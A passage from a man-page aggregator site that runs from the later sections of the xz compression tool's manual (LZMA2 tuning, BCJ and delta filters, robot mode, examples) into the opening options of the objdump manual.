The literal coding makes an assumption that the highest lc bits of the previous uncompressed byte correlate with the next byte. For example, in typical English text, an upper-case letter is often followed by a lower-case letter, and a lower-case letter is usually followed by another lower-case letter. In the US-ASCII character set, the highest three bits are 010 for upper-case letters and 011 for lower-case letters. When lc is at least 3, the literal coding can take advantage of this property in the uncompressed data.

The default value (3) is usually good. If you want maximum compression, test lc=4. Sometimes it helps a little, and sometimes it makes compression worse. If it makes it worse, test lc=2 too.

**lp=**lp
Specify the number of literal position bits. The minimum is 0 and the maximum is 4; the default is 0.

Lp affects what kind of alignment in the uncompressed data is assumed when encoding literals. See pb below for more information about alignment.

**pb=**pb
Specify the number of position bits. The minimum is 0 and the maximum is 4; the default is 2.

Pb affects what kind of alignment in the uncompressed data is assumed in general. The default means four-byte alignment (2^pb=2^2=4), which is often a good choice when there’s no better guess.

When the alignment is known, setting pb accordingly may reduce the file size a little. For example, with text files having one-byte alignment (US-ASCII, ISO-8859-*, UTF-8), setting pb=0 can improve compression slightly. For UTF-16 text, pb=1 is a good choice. If the alignment is an odd number like 3 bytes, pb=0 might be the best choice.

Even though the assumed alignment can be adjusted with pb and lp, LZMA1 and LZMA2 still slightly favor 16-byte alignment. It might be worth taking into account when designing file formats that are likely to be often compressed with LZMA1 or LZMA2.

**mf=**mf
Match finder has a major effect on encoder speed, memory usage, and compression ratio. Usually Hash Chain match finders are faster than Binary Tree match finders. The default depends on the preset: 0 uses hc3, 1–3 use hc4, and the rest use bt4.

The following match finders are supported. The memory usage formulas below are rough approximations, which are closest to the reality when dict is a power of two.

hc3
Hash Chain with 2- and 3-byte hashing
Minimum value for nice: 3
Memory usage:
dict * 7.5 (if dict <= 16 MiB);
dict * 5.5 + 64 MiB (if dict > 16 MiB)

hc4
Hash Chain with 2-, 3-, and 4-byte hashing
Minimum value for nice: 4
Memory usage:
dict * 7.5 (if dict <= 32 MiB);
dict * 6.5 (if dict > 32 MiB)

bt2
Binary Tree with 2-byte hashing
Minimum value for nice: 2
Memory usage: dict * 9.5

bt3
Binary Tree with 2- and 3-byte hashing
Minimum value for nice: 3
Memory usage:
dict * 11.5 (if dict <= 16 MiB);
dict * 9.5 + 64 MiB (if dict > 16 MiB)

bt4
Binary Tree with 2-, 3-, and 4-byte hashing
Minimum value for nice: 4
Memory usage:
dict * 11.5 (if dict <= 32 MiB);
dict * 10.5 (if dict > 32 MiB)

**mode=**mode
Compression mode specifies the method to analyze the data produced by the match finder. Supported modes are fast and normal. The default is fast for presets 0–3 and normal for presets 4–9.

Usually fast is used with Hash Chain match finders and normal with Binary Tree match finders. This is also what the presets do.

**nice=**nice
Specify what is considered to be a nice length for a match. Once a match of at least nice bytes is found, the algorithm stops looking for possibly better matches.

Nice can be 2–273 bytes. Higher values tend to give better compression ratio at the expense of speed. The default depends on the preset.

**depth=**depth
Specify the maximum search depth in the match finder. The default is the special value of 0, which makes the compressor determine a reasonable depth from mf and nice.

Reasonable depth for Hash Chains is 4–100 and 16–1000 for Binary Trees. Using very high values for depth can make the encoder extremely slow with some files. Avoid setting the depth over 1000 unless you are prepared to interrupt the compression in case it is taking far too long.

When decoding raw streams (–format=raw), LZMA2 needs only the dictionary size. LZMA1 needs also lc, lp, and pb.

–x86[**=**options]

–arm[**=options]
–armthumb[
=options]
–arm64[
=options]
–powerpc[
=options]
–ia64[
=options]
–sparc[
=options]
–riscv[
=**options]

Add a branch/call/jump (BCJ) filter to the filter chain. These filters can be used only as a non-last filter in the filter chain.

A BCJ filter converts relative addresses in the machine code to their absolute counterparts. This doesn’t change the size of the data but it increases redundancy, which can help LZMA2 to produce 0–15 % smaller .xz file. The BCJ filters are always reversible, so using a BCJ filter for wrong type of data doesn’t cause any data loss, although it may make the compression ratio slightly worse. The BCJ filters are very fast and use an insignificant amount of memory.

These BCJ filters have known problems related to the compression ratio:

  • Some types of files containing executable code (for example, object files, static libraries, and Linux kernel modules) have the addresses in the instructions filled with filler values. These BCJ filters will still do the address conversion, which will make the compression worse with these files.

  • If a BCJ filter is applied on an archive, it is possible that it makes the compression ratio worse than not using a BCJ filter. For example, if there are similar or even identical executables then filtering will likely make the files less similar and thus compression is worse. The contents of non-executable files in the same archive can matter too. In practice one has to try with and without a BCJ filter to see which is better in each situation.

Different instruction sets have different alignment: the executable file must be aligned to a multiple of this value in the input data to make the filter work.

FilterAlignmentNotes
x86132-bit or 64-bit x86
ARM4
ARM-Thumb2
ARM6444096-byte alignment is best
PowerPC4Big endian only
IA-6416Itanium
SPARC4
RISC-V2

Since the BCJ-filtered data is usually compressed with LZMA2, the compression ratio may be improved slightly if the LZMA2 options are set to match the alignment of the selected BCJ filter. Examples:

  • IA-64 filter has 16-byte alignment so pb=4,lp=4,lc=0 is good with LZMA2 (2^4=16).

  • RISC-V code has 2-byte or 4-byte alignment depending on whether the file contains 16-bit compressed instructions (the C extension). When 16-bit instructions are used, pb=2,lp=1,lc=3 or pb=1,lp=1,lc=3 is good. When 16-bit instructions aren’t present, pb=2,lp=2,lc=2 is the best. readelf -h can be used to check if “RVC” appears on the “Flags” line.

  • ARM64 is always 4-byte aligned so pb=2,lp=2,lc=2 is the best.

  • The x86 filter is an exception. It’s usually good to stick to LZMA2’s defaults (pb=2,lp=0,lc=3) when compressing x86 executables.

All BCJ filters support the same options:

**start=**offset
Specify the start offset that is used when converting between relative and absolute addresses. The offset must be a multiple of the alignment of the filter (see the table above). The default is zero. In practice, the default is good; specifying a custom offset is almost never useful.

–delta[**=**options]
Add the Delta filter to the filter chain. The Delta filter can be only used as a non-last filter in the filter chain.

Currently only simple byte-wise delta calculation is supported. It can be useful when compressing, for example, uncompressed bitmap images or uncompressed PCM audio. However, special purpose algorithms may give significantly better results than Delta + LZMA2. This is true especially with audio, which compresses faster and better, for example, with flac(1).

Supported options:

**dist=**distance
Specify the distance of the delta calculation in bytes. distance must be 1–256. The default is 1.

For example, with dist=2 and eight-byte input A1 B1 A2 B3 A3 B5 A4 B7, the output will be A1 B1 01 02 01 02 01 02.

Other options

-q, –quiet
Suppress warnings and notices. Specify this twice to suppress errors too. This option has no effect on the exit status. That is, even if a warning was suppressed, the exit status to indicate a warning is still used.

-v, –verbose
Be verbose. If standard error is connected to a terminal, xz will display a progress indicator. Specifying –verbose twice will give even more verbose output.

The progress indicator shows the following information:

  • Completion percentage is shown if the size of the input file is known. That is, the percentage cannot be shown in pipes.

  • Amount of compressed data produced (compressing) or consumed (decompressing).

  • Amount of uncompressed data consumed (compressing) or produced (decompressing).

  • Compression ratio, which is calculated by dividing the amount of compressed data processed so far by the amount of uncompressed data processed so far.

  • Compression or decompression speed. This is measured as the amount of uncompressed data consumed (compression) or produced (decompression) per second. It is shown after a few seconds have passed since xz started processing the file.

  • Elapsed time in the format M:SS or H:MM:SS.

  • Estimated remaining time is shown only when the size of the input file is known and a couple of seconds have already passed since xz started processing the file. The time is shown in a less precise format which never has any colons, for example, 2 min 30 s.

When standard error is not a terminal, –verbose will make xz print the filename, compressed size, uncompressed size, compression ratio, and possibly also the speed and elapsed time on a single line to standard error after compressing or decompressing the file. The speed and elapsed time are included only when the operation took at least a few seconds. If the operation didn’t finish, for example, due to user interruption, also the completion percentage is printed if the size of the input file is known.

-Q, –no-warn
Don’t set the exit status to 2 even if a condition worth a warning was detected. This option doesn’t affect the verbosity level, thus both –quiet and –no-warn have to be used to not display warnings and to not alter the exit status.

–robot
Print messages in a machine-parsable format. This is intended to ease writing frontends that want to use xz instead of liblzma, which may be the case with various scripts. The output with this option enabled is meant to be stable across xz releases. See the section ROBOT MODE for details.

–info-memory
Display, in human-readable format, how much physical memory (RAM) and how many processor threads xz thinks the system has and the memory usage limits for compression and decompression, and exit successfully.

-h, –help
Display a help message describing the most commonly used options, and exit successfully.

-H, –long-help
Display a help message describing all features of xz, and exit successfully

-V, –version
Display the version number of xz and liblzma in human readable format. To get machine-parsable output, specify –robot before –version.

ROBOT MODE

The robot mode is activated with the –robot option. It makes the output of xz easier to parse by other programs. Currently –robot is supported only together with –list, –filters-help, –info-memory, and –version. It will be supported for compression and decompression in the future.

List mode

xz –robot –list uses tab-separated output. The first column of every line has a string that indicates the type of the information found on that line:

name
This is always the first line when starting to list a file. The second column on the line is the filename.

file
This line contains overall information about the .xz file. This line is always printed after the name line.

stream
This line type is used only when –verbose was specified. There are as many stream lines as there are streams in the .xz file.

block
This line type is used only when –verbose was specified. There are as many block lines as there are blocks in the .xz file. The block lines are shown after all the stream lines; different line types are not interleaved.

summary
This line type is used only when –verbose was specified twice. This line is printed after all block lines. Like the file line, the summary line contains overall information about the .xz file.

totals
This line is always the very last line of the list output. It shows the total counts and sizes.

The columns of the file lines:

  1. Number of streams in the file

  2. Total number of blocks in the stream(s)

  3. Compressed size of the file

  4. Uncompressed size of the file

  5. Compression ratio, for example, 0.123. If ratio is over 9.999, three dashes () are displayed instead of the ratio.

  6. Comma-separated list of integrity check names. The following strings are used for the known check types: None, CRC32, CRC64, and SHA-256. For unknown check types, **Unknown-**N is used, where N is the Check ID as a decimal number (one or two digits).

  7. Total size of stream padding in the file

The columns of the stream lines:

  1. Stream number (the first stream is 1)

  2. Number of blocks in the stream

  3. Compressed start offset

  4. Uncompressed start offset

  5. Compressed size (does not include stream padding)

  6. Uncompressed size

  7. Compression ratio

  8. Name of the integrity check

  9. Size of stream padding

The columns of the block lines:

  1. Number of the stream containing this block

  2. Block number relative to the beginning of the stream (the first block is 1)

  3. Block number relative to the beginning of the file

  4. Compressed start offset relative to the beginning of the file

  5. Uncompressed start offset relative to the beginning of the file

  6. Total compressed size of the block (includes headers)

  7. Uncompressed size

  8. Compression ratio

  9. Name of the integrity check

If –verbose was specified twice, additional columns are included on the block lines. These are not displayed with a single –verbose, because getting this information requires many seeks and can thus be slow:

  1. Value of the integrity check in hexadecimal

  2. Block header size

  3. Block flags: c indicates that compressed size is present, and u indicates that uncompressed size is present. If the flag is not set, a dash (-) is shown instead to keep the string length fixed. New flags may be added to the end of the string in the future.

  4. Size of the actual compressed data in the block (this excludes the block header, block padding, and check fields)

  5. Amount of memory (in bytes) required to decompress this block with this xz version

  6. Filter chain. Note that most of the options used at compression time cannot be known, because only the options that are needed for decompression are stored in the .xz headers.

The columns of the summary lines:

  1. Amount of memory (in bytes) required to decompress this file with this xz version

  2. yes or no indicating if all block headers have both compressed size and uncompressed size stored in them

Since xz 5.1.2alpha:

  1. Minimum xz version required to decompress the file

The columns of the totals line:

  1. Number of streams

  2. Number of blocks

  3. Compressed size

  4. Uncompressed size

  5. Average compression ratio

  6. Comma-separated list of integrity check names that were present in the files

  7. Stream padding size

  8. Number of files. This is here to keep the order of the earlier columns the same as on file lines.

If –verbose was specified twice, additional columns are included on the totals line:

  1. Maximum amount of memory (in bytes) required to decompress the files with this xz version

  2. yes or no indicating if all block headers have both compressed size and uncompressed size stored in them

Since xz 5.1.2alpha:

  1. Minimum xz version required to decompress the file

Future versions may add new line types and new columns can be added to the existing line types, but the existing columns won’t be changed.

Filters help

xz –robot –filters-help prints the supported filters in the following format:

filter**:option=<value>,option=<value>**…

filter
Name of the filter

option
Name of a filter specific option

value
Numeric value ranges appear as <min-max>. String value choices are shown within < > and separated by a | character.

Each filter is printed on its own line.

Memory limit information

xz –robot –info-memory prints a single line with multiple tab-separated columns:

  1. Total amount of physical memory (RAM) in bytes.

  2. Memory usage limit for compression in bytes (–memlimit-compress). A special value of 0 indicates the default setting which for single-threaded mode is the same as no limit.

  3. Memory usage limit for decompression in bytes (–memlimit-decompress). A special value of 0 indicates the default setting which for single-threaded mode is the same as no limit.

  4. Since xz 5.3.4alpha: Memory usage for multi-threaded decompression in bytes (–memlimit-mt-decompress). This is never zero because a system-specific default value shown in the column 5 is used if no limit has been specified explicitly. This is also never greater than the value in the column 3 even if a larger value has been specified with –memlimit-mt-decompress.

  5. Since xz 5.3.4alpha: A system-specific default memory usage limit that is used to limit the number of threads when compressing with an automatic number of threads (–threads=0) and no memory usage limit has been specified (–memlimit-compress). This is also used as the default value for –memlimit-mt-decompress.

  6. Since xz 5.3.4alpha: Number of available processor threads.

In the future, the output of xz –robot –info-memory may have more columns, but never more than a single line.

Version

xz –robot –version prints the version number of xz and liblzma in the following format:

**XZ_VERSION=**XYYYZZZS
**LIBLZMA_VERSION=**XYYYZZZS

X
Major version.

YYY
Minor version. Even numbers are stable. Odd numbers are alpha or beta versions.

ZZZ
Patch level for stable releases or just a counter for development releases.

S
Stability. 0 is alpha, 1 is beta, and 2 is stable. S should be always 2 when YYY is even.

XYYYZZZS are the same on both lines if xz and liblzma are from the same XZ Utils release.

Examples: 4.999.9beta is 49990091 and 5.0.0 is 50000002.

EXIT STATUS

0
All is good.

1
An error occurred.

2
Something worth a warning occurred, but no actual errors occurred.

Notices (not warnings or errors) printed on standard error don’t affect the exit status.

ENVIRONMENT

xz parses space-separated lists of options from the environment variables XZ_DEFAULTS and XZ_OPT, in this order, before parsing the options from the command line. Note that only options are parsed from the environment variables; all non-options are silently ignored. Parsing is done with getopt_long(3) which is used also for the command line arguments.

XZ_DEFAULTS
User-specific or system-wide default options. Typically this is set in a shell initialization script to enable xz’s memory usage limiter by default. Excluding shell initialization scripts and similar special cases, scripts must never set or unset XZ_DEFAULTS.

XZ_OPT
This is for passing options to xz when it is not possible to set the options directly on the xz command line. This is the case when xz is run by a script or tool, for example, GNU tar(1):

XZ_OPT=-2v tar caf foo.tar.xz foo

Scripts may use XZ_OPT, for example, to set script-specific default compression options. It is still recommended to allow users to override XZ_OPT if that is reasonable. For example, in sh(1) scripts one may use something like this:

XZ_OPT=${XZ_OPT-"-7e"} export XZ_OPT

LZMA UTILS COMPATIBILITY

The command line syntax of xz is practically a superset of lzma, unlzma, and lzcat as found from LZMA Utils 4.32.x. In most cases, it is possible to replace LZMA Utils with XZ Utils without breaking existing scripts. There are some incompatibilities though, which may sometimes cause problems.

Compression preset levels

The numbering of the compression level presets is not identical in xz and LZMA Utils. The most important difference is how dictionary sizes are mapped to different presets. Dictionary size is roughly equal to the decompressor memory usage.

LevelxzLZMA Utils
-0256 KiBN/A
-11 MiB64 KiB
-22 MiB1 MiB
-34 MiB512 KiB
-44 MiB1 MiB
-58 MiB2 MiB
-68 MiB4 MiB
-716 MiB8 MiB
-832 MiB16 MiB
-964 MiB32 MiB

The dictionary size differences affect the compressor memory usage too, but there are some other differences between LZMA Utils and XZ Utils, which make the difference even bigger:

LevelxzLZMA Utils 4.32.x
-03 MiBN/A
-19 MiB2 MiB
-217 MiB12 MiB
-332 MiB12 MiB
-448 MiB16 MiB
-594 MiB26 MiB
-694 MiB45 MiB
-7186 MiB83 MiB
-8370 MiB159 MiB
-9674 MiB311 MiB

The default preset level in LZMA Utils is -7 while in XZ Utils it is -6, so both use an 8 MiB dictionary by default.

Streamed vs. non-streamed .lzma files

The uncompressed size of the file can be stored in the .lzma header. LZMA Utils does that when compressing regular files. The alternative is to mark that uncompressed size is unknown and use end-of-payload marker to indicate where the decompressor should stop. LZMA Utils uses this method when uncompressed size isn’t known, which is the case, for example, in pipes.

xz supports decompressing .lzma files with or without end-of-payload marker, but all .lzma files created by xz will use end-of-payload marker and have uncompressed size marked as unknown in the .lzma header. This may be a problem in some uncommon situations. For example, a .lzma decompressor in an embedded device might work only with files that have known uncompressed size. If you hit this problem, you need to use LZMA Utils or LZMA SDK to create .lzma files with known uncompressed size.

Unsupported .lzma files

The .lzma format allows lc values up to 8, and lp values up to 4. LZMA Utils can decompress files with any lc and lp, but always creates files with lc=3 and lp=0. Creating files with other lc and lp is possible with xz and with LZMA SDK.

The implementation of the LZMA1 filter in liblzma requires that the sum of lc and lp must not exceed 4. Thus, .lzma files, which exceed this limitation, cannot be decompressed with xz.

LZMA Utils creates only .lzma files which have a dictionary size of 2^n (a power of 2) but accepts files with any dictionary size. liblzma accepts only .lzma files which have a dictionary size of 2^n or 2^n + 2^(n-1). This is to decrease false positives when detecting .lzma files.

These limitations shouldn’t be a problem in practice, since practically all .lzma files have been compressed with settings that liblzma will accept.

Trailing garbage

When decompressing, LZMA Utils silently ignore everything after the first .lzma stream. In most situations, this is a bug. This also means that LZMA Utils don’t support decompressing concatenated .lzma files.

If there is data left after the first .lzma stream, xz considers the file to be corrupt unless –single-stream was used. This may break obscure scripts which have assumed that trailing garbage is ignored.

NOTES

Compressed output may vary

The exact compressed output produced from the same uncompressed input file may vary between XZ Utils versions even if compression options are identical. This is because the encoder can be improved (faster or better compression) without affecting the file format. The output can vary even between different builds of the same XZ Utils version, if different build options are used.

The above means that once –rsyncable has been implemented, the resulting files won’t necessarily be rsyncable unless both old and new files have been compressed with the same xz version. This problem can be fixed if a part of the encoder implementation is frozen to keep rsyncable output stable across xz versions.

Embedded .xz decompressors

Embedded .xz decompressor implementations like XZ Embedded don’t necessarily support files created with integrity check types other than none and crc32. Since the default is –check=crc64, you must use –check=none or –check=crc32 when creating files for embedded systems.

Outside embedded systems, all .xz format decompressors support all the check types, or at least are able to decompress the file without verifying the integrity check if the particular check is not supported.

XZ Embedded supports BCJ filters, but only with the default start offset.

EXAMPLES

Basics

Compress the file foo into foo.xz using the default compression level (-6), and remove foo if compression is successful:

xz foo

Decompress bar.xz into bar and don’t remove bar.xz even if decompression is successful:

xz -dk bar.xz

Create baz.tar.xz with the preset -4e (-4 –extreme), which is slower than the default -6, but needs less memory for compression and decompression (48 MiB and 5 MiB, respectively):

tar cf - baz | xz -4e > baz.tar.xz

A mix of compressed and uncompressed files can be decompressed to standard output with a single command:

xz -dcf a.txt b.txt.xz c.txt d.txt.lzma > abcd.txt

Parallel compression of many files

On GNU and *BSD, find(1) and xargs(1) can be used to parallelize compression of many files:

find . -type f ! -name ‘*.xz’ -print0
| xargs -0r -P4 -n16 xz -T1

The -P option to xargs(1) sets the number of parallel xz processes. The best value for the -n option depends on how many files there are to be compressed. If there are only a couple of files, the value should probably be 1; with tens of thousands of files, 100 or even more may be appropriate to reduce the number of xz processes that xargs(1) will eventually create.

The option -T1 for xz is there to force it to single-threaded mode, because xargs(1) is used to control the amount of parallelization.

Robot mode

Calculate how many bytes have been saved in total after compressing multiple files:

xz –robot –list *.xz | awk ‘/^totals/{print $5-$4}’

A script may want to know that it is using new enough xz. The following sh(1) script checks that the version number of the xz tool is at least 5.0.0. This method is compatible with old beta versions, which didn’t support the –robot option:

if ! eval “$(xz –robot –version 2> /dev/null)” || [ “$XZ_VERSION” -lt 50000002 ]; then echo “Your xz is too old.” fi unset XZ_VERSION LIBLZMA_VERSION

Set a memory usage limit for decompression using XZ_OPT, but if a limit has already been set, don’t increase it:

NEWLIM=$((123 « 20)) # 123 MiB OLDLIM=$(xz –robot –info-memory | cut -f3) if [ $OLDLIM -eq 0 -o $OLDLIM -gt $NEWLIM ]; then XZ_OPT="$XZ_OPT –memlimit-decompress=$NEWLIM" export XZ_OPT fi

Custom compressor filter chains

The simplest use for custom filter chains is customizing a LZMA2 preset. This can be useful, because the presets cover only a subset of the potentially useful combinations of compression settings.

The CompCPU columns of the tables from the descriptions of the options -0-9 and –extreme are useful when customizing LZMA2 presets. Here are the relevant parts collected from those two tables:

PresetCompCPU
-00
-11
-22
-33
-44
-55
-66
-5e7
-6e8

If you know that a file requires somewhat big dictionary (for example, 32 MiB) to compress well, but you want to compress it quicker than xz -8 would do, a preset with a low CompCPU value (for example, 1) can be modified to use a bigger dictionary:

xz –lzma2=preset=1,dict=32MiB foo.tar

With certain files, the above command may be faster than xz -6 while compressing significantly better. However, it must be emphasized that only some files benefit from a big dictionary while keeping the CompCPU value low. The most obvious situation, where a big dictionary can help a lot, is an archive containing very similar files of at least a few megabytes each. The dictionary size has to be significantly bigger than any individual file to allow LZMA2 to take full advantage of the similarities between consecutive files.

If very high compressor and decompressor memory usage is fine, and the file being compressed is at least several hundred megabytes, it may be useful to use an even bigger dictionary than the 64 MiB that xz -9 would use:

xz -vv –lzma2=dict=192MiB big_foo.tar

Using -vv (–verbose –verbose) like in the above example can be useful to see the memory requirements of the compressor and decompressor. Remember that using a dictionary bigger than the size of the uncompressed file is waste of memory, so the above command isn’t useful for small files.

Sometimes the compression time doesn’t matter, but the decompressor memory usage has to be kept low, for example, to make it possible to decompress the file on an embedded system. The following command uses -6e (-6 –extreme) as a base and sets the dictionary to only 64 KiB. The resulting file can be decompressed with XZ Embedded (that’s why there is –check=crc32) using about 100 KiB of memory.

xz –check=crc32 –lzma2=preset=6e,dict=64KiB foo

If you want to squeeze out as many bytes as possible, adjusting the number of literal context bits (lc) and number of position bits (pb) can sometimes help. Adjusting the number of literal position bits (lp) might help too, but usually lc and pb are more important. For example, a source code archive contains mostly US-ASCII text, so something like the following might give slightly (like 0.1 %) smaller file than xz -6e (try also without lc=4):

xz –lzma2=preset=6e,pb=0,lc=4 source_code.tar

Using another filter together with LZMA2 can improve compression with certain file types. For example, to compress a x86-32 or x86-64 shared library using the x86 BCJ filter:

xz –x86 –lzma2 libfoo.so

Note that the order of the filter options is significant. If –x86 is specified after –lzma2, xz will give an error, because there cannot be any filter after LZMA2, and also because the x86 BCJ filter cannot be used as the last filter in the chain.

The Delta filter together with LZMA2 can give good results with bitmap images. It should usually beat PNG, which has a few more advanced filters than simple delta but uses Deflate for the actual compression.

The image has to be saved in uncompressed format, for example, as uncompressed TIFF. The distance parameter of the Delta filter is set to match the number of bytes per pixel in the image. For example, 24-bit RGB bitmap needs dist=3, and it is also good to pass pb=0 to LZMA2 to accommodate the three-byte alignment:

xz –delta=dist=3 –lzma2=pb=0 foo.tiff

If multiple images have been put into a single archive (for example, .tar), the Delta filter will work on that too as long as all images have the same number of bytes per pixel.

SEE ALSO

xzdec(1), xzdiff(1), xzgrep(1), xzless(1), xzmore(1), gzip(1), bzip2(1), 7z(1)

XZ Utils: <https://tukaani.org/xz/>
XZ Embedded: <https://tukaani.org/xz/embedded.html>
LZMA SDK: <https://7-zip.org/sdk.html>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

465 - Linux cli command objdump

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command objdump and provides detailed information about the command objdump, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the objdump.

NAME 🖥️ objdump 🖥️

display information from object files

SYNOPSIS

objdump [-a|–archive-headers] [-b bfdname|–target=bfdname] [-C|–demangle[=style] ] [-d|–disassemble[=symbol]] [-D|–disassemble-all] [-z|–disassemble-zeroes] [-EB|-EL|–endian={big | little }] [-f|–file-headers] [-F|–file-offsets] [–file-start-context] [-g|–debugging] [-e|–debugging-tags] [-h|–section-headers|–headers] [-i|–info] [-j section|–section=section] [-l|–line-numbers] [-S|–source] [–source-comment[=text]] [-m machine|–architecture=machine] [-M options|–disassembler-options=options] [-p|–private-headers] [-P options|–private=options] [-r|–reloc] [-R|–dynamic-reloc] [-s|–full-contents] [-Z|–decompress] [-W[lLiaprmfFsoORtUuTgAck]| –dwarf[=rawline,=decodedline,=info,=abbrev,=pubnames,=aranges,=macro,=frames,=frames-interp,=str,=str-offsets,=loc,=Ranges,=pubtypes,=trace_info,=trace_abbrev,=trace_aranges,=gdb_index,=addr,=cu_index,=links]] [-WK|–dwarf=follow-links] [-WN|–dwarf=no-follow-links] [-wD|–dwarf=use-debuginfod] [-wE|–dwarf=do-not-use-debuginfod] [-L|–process-links] [–ctf=section] [–sframe=section] [-G|–stabs] [-t|–syms] [-T|–dynamic-syms] [-x|–all-headers] [-w|–wide] [–start-address=address] [–stop-address=address] [–no-addresses] [–prefix-addresses] [–[no-]show-raw-insn] [–adjust-vma=offset] [–show-all-symbols] [–dwarf-depth=n] [–dwarf-start=n] [–ctf-parent=section] [–no-recurse-limit|–recurse-limit] [–special-syms] [–prefix=prefix] [–prefix-strip=level] [–insn-width=width] [–visualize-jumps[=color|=extended-color|=off] [–disassembler-color=[off|terminal|on|extended] [-U method] [–unicode=method] [-V|–version] [-H|–help] objfile

DESCRIPTION

objdump displays information about one or more object files. The options control what particular information to display. This information is mostly useful to programmers who are working on the compilation tools, as opposed to programmers who just want their program to compile and work.

objfile… are the object files to be examined. When you specify archives, objdump shows information on each of the member object files.

OPTIONS

The long and short forms of options, shown here as alternatives, are equivalent. At least one option from the list -a,-d,-D,-e,-f,-g,-G,-h,-H,-p,-P,-r,-R,-s,-S,-t,-T,-V,-x must be given.

-a

–archive-header

If any of the objfile files are archives, display the archive header information (in a format similar to ls -l). Besides the information you could list with ar tv, objdump -a shows the object file format of each archive member.

–adjust-vma=offset
When dumping information, first add offset to all the section addresses. This is useful if the section addresses do not correspond to the symbol table, which can happen when putting sections at particular addresses when using a format which can not represent section addresses, such as a.out.

-b bfdname

–target=bfdname

Specify that the object-code format for the object files is bfdname. This option may not be necessary; objdump can automatically recognize many formats. For example, objdump -b oasys -m vax -h fu.o displays summary information from the section headers (-h) of fu.o, which is explicitly identified (-m) as a VAX object file in the format produced by Oasys compilers. You can list the formats available with the -i option.

-C

–demangle[=style]

Decode (demangle) low-level symbol names into user-level names. Besides removing any initial underscore prepended by the system, this makes C++ function names readable. Different compilers have different mangling styles. The optional demangling style argument can be used to choose an appropriate demangling style for your compiler.

–recurse-limit

–no-recurse-limit

–recursion-limit

–no-recursion-limit

Enables or disables a limit on the amount of recursion performed whilst demangling strings. Since the name mangling formats allow for an infinite level of recursion it is possible to create strings whose decoding will exhaust the amount of stack space available on the host machine, triggering a memory fault. The limit tries to prevent this from happening by restricting recursion to 2048 levels of nesting. The default is for this limit to be enabled, but disabling it may be necessary in order to demangle truly complicated names. Note however that if the recursion limit is disabled then stack exhaustion is possible and any bug reports about such an event will be rejected.

-g

–debugging

Display debugging information. This attempts to parse STABS debugging format information stored in the file and print it out using a C like syntax. If no STABS debugging was found this option falls back on the -W option to print any DWARF information in the file.

-e

–debugging-tags

Like -g, but the information is generated in a format compatible with ctags tool.

-d

–disassemble

–disassemble=symbol

Display the assembler mnemonics for the machine instructions from the input file. This option only disassembles those sections which are expected to contain instructions. If the optional symbol argument is given, then display the assembler mnemonics starting at symbol. If symbol is a function name then disassembly will stop at the end of the function, otherwise it will stop when the next symbol is encountered. If there are no matches for symbol then nothing will be displayed. Note if the –dwarf=follow-links option is enabled then any symbol tables in linked debug info files will be read in and used when disassembling.

-D

–disassemble-all

Like -d, but disassemble the contents of all non-empty non-bss sections, not just those expected to contain instructions. -j may be used to select specific sections. This option also has a subtle effect on the disassembly of instructions in code sections. When option -d is in effect objdump will assume that any symbols present in a code section occur on the boundary between instructions and it will refuse to disassemble across such a boundary. When option -D is in effect however this assumption is supressed. This means that it is possible for the output of -d and -D to differ if, for example, data is stored in code sections. If the target is an ARM architecture this switch also has the effect of forcing the disassembler to decode pieces of data found in code sections as if they were instructions. Note if the –dwarf=follow-links option is enabled then any symbol tables in linked debug info files will be read in and used when disassembling.

–no-addresses
When disassembling, don’t print addresses on each line or for symbols and relocation offsets. In combination with –no-show-raw-insn this may be useful for comparing compiler output.

–prefix-addresses
When disassembling, print the complete address on each line. This is the older disassembly format.

-EB

-EL

–endian={big|little}

Specify the endianness of the object files. This only affects disassembly. This can be useful when disassembling a file format which does not describe endianness information, such as S-records.

-f

–file-headers

Display summary information from the overall header of each of the objfile files.

-F

–file-offsets

When disassembling sections, whenever a symbol is displayed, also display the file offset of the region of data that is about to be dumped. If zeroes are being skipped, then when disassembly resumes, tell the user how many zeroes were skipped and the file offset of the location from where the disassembly resumes. When dumping sections, display the file offset of the location from where the dump starts.

–file-start-context
Specify that when displaying interlisted source code/disassembly (assumes -S) from a file that has not yet been displayed, extend the context to the start of the file.

-h

–section-headers

–headers

Display summary information from the section headers of the object file. File segments may be relocated to nonstandard addresses, for example by using the -Ttext, -Tdata, or -Tbss options to ld. However, some object file formats, such as a.out, do not store the starting address of the file segments. In those situations, although ld relocates the sections correctly, using objdump -h to list the file section headers cannot show the correct addresses. Instead, it shows the usual addresses, which are implicit for the target. Note, in some cases it is possible for a section to have both the READONLY and the NOREAD attributes set. In such cases the NOREAD attribute takes precedence, but objdump will report both since the exact setting of the flag bits might be important.

-H

–help

Print a summary of the options to objdump and exit.

-i

–info

Display a list showing all architectures and object formats available for specification with -b or -m.

-j name

–section=name

Display information for section name. This option may be specified multiple times.

-L

–process-links

Display the contents of non-debug sections found in separate debuginfo files that are linked to the main file. This option automatically implies the -WK option, and only sections requested by other command line options will be displayed.

-l

–line-numbers

Label the display (using debugging information) with the filename and source line numbers corresponding to the object code or relocs shown. Only useful with -d, -D, or -r.

-m machine

–architecture=machine

